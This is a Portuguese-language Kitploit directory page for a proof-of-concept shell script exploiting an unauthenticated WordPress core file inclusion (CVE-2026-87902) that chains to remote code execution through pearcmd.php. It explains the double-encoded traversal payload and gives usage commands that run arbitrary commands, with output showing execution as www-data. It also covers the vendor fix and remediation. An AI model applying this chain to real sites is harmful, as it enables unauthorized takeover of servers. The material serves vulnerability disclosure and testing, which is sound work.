Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-87902-PoC-pwnVader — PoC em Shell para CVE-2026-87902, um LFI não autenticado no núcleo do WordPress via resolução de page-template que encadeia para RCE através do pearcmd.php. | Kitploit
Ferramentas/GitHubGitHub/pwnvader/cve-2026-87902-poc-pwnvader
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebVirtualização para SegurançaSegurança WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubpwnvader/cve-2026-87902-poc-pwnvader

CVE-2026-87902-PoC-pwnVader

PoC em Shell para CVE-2026-87902, um LFI não autenticado no núcleo do WordPress via resolução de page-template que encadeia para RCE através do pearcmd.php.

Ver Repositório
1há 4 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-87902 — Inclusão local de ficheiro não autenticada na resolução de modelos de página do núcleo do WordPress → RCE

Autor: pwnVader · Licença: MIT (raiz do repositório)

ComponenteNúcleo do WordPress (wp-includes/template.php)
TipoCWE-98 — Inclusão de ficheiro PHP (LFI → RCE)
AfetadoWordPress < 7.1.2 (ramo 7.0 corrigido em 7.0.6; backports 6.x dependentes do ramo)
Corrigido7.1.2 / 7.0.6
CVECVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
PoCpoc.sh

Resumo

get_page_template() adiciona page-{urldecode(pagename)}.php à hierarquia de modelos de página quando a variável de consulta pagename contém caracteres codificados em percentagem, e locate_template() resolve o candidato com file_exists() / require sem validar que o caminho permanece dentro do tema ativo. Um atacante não autenticado pode, portanto, incluir e executar um ficheiro .php local legível à sua escolha fora do tema ativo.

Pré-condições:

  1. WordPress < 7.1.2.
  2. O tema ativo contém um diretório de nível superior que começa por page- (por exemplo, o oficial Twenty Fourteen inclui page-templates/). O nome do modelo é sempre prefixado com page-, pelo que o primeiro componente do caminho tem de existir.
  3. Um ID de página pública válido para que a consulta principal seja uma página (não um 404). O script descobre um a partir do sitemap do núcleo, da classe body da página inicial, ou de uma pequena sondagem de IDs.

O payload é codificado duas vezes para que sanitize_title_for_query() preserve os octetos %2e/%2f; urldecode() dentro de get_page_template() reconstrói então ../ no momento da resolução do modelo.

Se o servidor também tiver um pearcmd.php acessível e register_argc_argv = On (o padrão na imagem oficial do PHP), a cadeia escala para execução remota de código: a query string torna-se argv da CLI através de separadores +, pear config-create escreve um ficheiro .php controlado pelo atacante, e a mesma LFI inclui-o.

Utilização

root@kitploit:~
# Interactive menu (recommended for a quick start)
./poc.sh

# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com

# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized

# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"

Opções: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (ou VDP_AUTHORIZED=1) é obrigatório para qualquer modo que possa escrever quando o alvo não é localhost.

Exemplo de saída (check)

root@kitploit:~
== CVE-2026-87902 PoC (check) ==
target: https://example.com

[1] Discovering a public page ID
  [info] page_id: 17
  [info] baseline: POST /?page_id=17 -> 52377 bytes

[2] Testing the LFI (read-only include of wp-includes/version.php)
  [PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
  [info] theme directory: page-templates/   traversal depth to webroot: 4
  [info] second file confirmed: wp-admin/install.php executed (static string returned)

== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==

Exemplo de saída (check-rce / rce)

root@kitploit:~
[3] Testing the LFI-to-RCE chain (self-deleting payload)
  [PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
  [PASS] RCE CONFIRMED: command output returned (uid/gid present)
  [info] payload self-deleted (cleanup verified)

[4] Executing command: id;hostname;whoami
  > uid=33(www-data) gid=33(www-data) groups=33(www-data)
  > 4119cb19757f
  > www-data

Se a LFI for confirmada mas o PEAR estiver ausente (ou register_argc_argv estiver Off), o script reporta a pré-condição claramente e sai sem escrever nada (exit 3).

Lógica de deteção

  1. Encontrar um ID de página pública (sitemap → classe body da página inicial → sondagem numérica).
  2. Para cada diretório de tema page-* candidato e profundidade de travessia, pedir page-<dir>/../../…/wp-includes/version.php através do parâmetro pagename (POST, corpo vazio — necessário porque o WordPress faz canonical-redirect de GET/HEAD primeiro).
  3. Uma resposta 200 com um corpo de 0 bytes (vs a linha de base da página de vários KB) prova a inclusão.
  4. Verificação de RCE: tentar pear config-create através da LFI com um payload autoeliminável, e depois incluir o ficheiro escrito com um comando fornecido no pedido.

Causa raiz / correção

Correção do fornecedor em 7.1.2 (wp-includes/template.php):

root@kitploit:~
-        if ( $pagename_decoded !== $pagename ) {
+        if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {

mais uma verificação de contenção com realpath() em locate_template() (_wp_is_template_path_allowed()). wordpress-7.0.6 contém a correção idêntica ao byte.

Remediação

  • Atualizar o núcleo do WordPress para 7.1.2 (ou 7.0.6 para o ramo 7.0).
  • Provisório: rejeitar valores de pagename que contenham sequências de travessia (.., %2e%2e, %252e%252e) em todos os métodos HTTP, ou remover a pré-condição do diretório de tema page-*.

Referências

  • NVD — CVE-2026-87902: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
  • Aviso do fornecedor: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Versões corrigidas: https://wordpress.org/wordpress-7.1.2.tar.gz · https://wordpress.org/wordpress-7.0.6.tar.gz

Aviso legal

Apenas para testes de segurança autorizados. Os modos RCE usam um payload autoeliminável e nunca escrevem nada além do seu próprio ficheiro marcador temporário, mas ainda executam comandos no alvo — execute-os apenas onde tiver permissão explícita.

Baixar ferramenta